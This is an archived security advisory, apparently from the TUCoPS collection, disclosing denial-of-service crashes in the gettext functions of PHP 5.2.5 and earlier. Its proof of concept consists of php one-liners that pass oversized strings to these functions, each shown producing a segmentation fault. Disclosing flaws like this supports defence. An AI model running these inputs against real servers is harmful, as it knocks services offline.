TUCoPS :: Web :: PHP :: tb13396.htm

PHP <= 5.2.5 Gettext Lib Multiple Denial of service
PHP <= 5.2.5 Gettext Lib Multiple Denial of service
PHP <= 5.2.5 Gettext Lib Multiple Denial of service



Application: PHP <= 5.2.5 =0D
Web Site: http://php.net=0D 
Platform: Unix=0D
Bug: Multiple Denial of service=0D
fonction: Gettext Lib multiple Denial of service =0D
special condition: Default php-memory-limit=0D
Tested on : Debian 4.0 , Ubuntu , Freebsd with Suhosin 0.9.6.2  =0D
-------------------------------------------------------=0D
=0D
1) Introduction=0D
2) Bug=0D
3) Proof of concept=0D
4) Greets=0D
5) Credits=0D
============0D
1) Introduction=0D
============0D
=0D
"PHP is a widely-used general-purpose scripting language that=0D
is especially suited for Web development and can be embedded into HTML."=0D
=0D
=======0D
2) Bug=0D
=======0D
=0D
dgettext(),dcgettext(),dngettext(),gettext(),ngettext(),dcgettext() are vulnerable to a Denial of service=0D
=0D
======0D
3)Proof of concept=0D
======0D
=0D
Proof of concept example :=0D
=0D
root@unsafebox:/# uname -a=0D
Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 i686 GNU/Linux=0D
=0D
root@unsafebox:/# php -v=0D
PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04) =0D
Copyright (c) 1997-2007 The PHP Group=0D
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies=0D
=0D
root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");'=0D
Erreur de segmentation (core dumped)=0D
=0D
root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'=0D
Erreur de segmentation (core dumped)=0D
=0D
root@unsafebox:/# php -r 'dngettext("hi",str_repeat("A",8476509),"hi",-1);'=0D
Erreur de segmentation (core dumped)=0D
=0D
root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));'=0D
Erreur de segmentation (core dumped)=0D
=0D
root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);'=0D
Erreur de segmentation (core dumped)=0D
=0D
root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'=0D
Erreur de segmentation (core dumped)=0D
=0D
=0D
=0D
=========0D
4)Greets=0D
=========0D
Benjilenoob,team soh, #futurezone, #soh=0D
=0D
======0D
5)Credits=0D
======0D
laurent gaffi=E9=0D
=0D

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH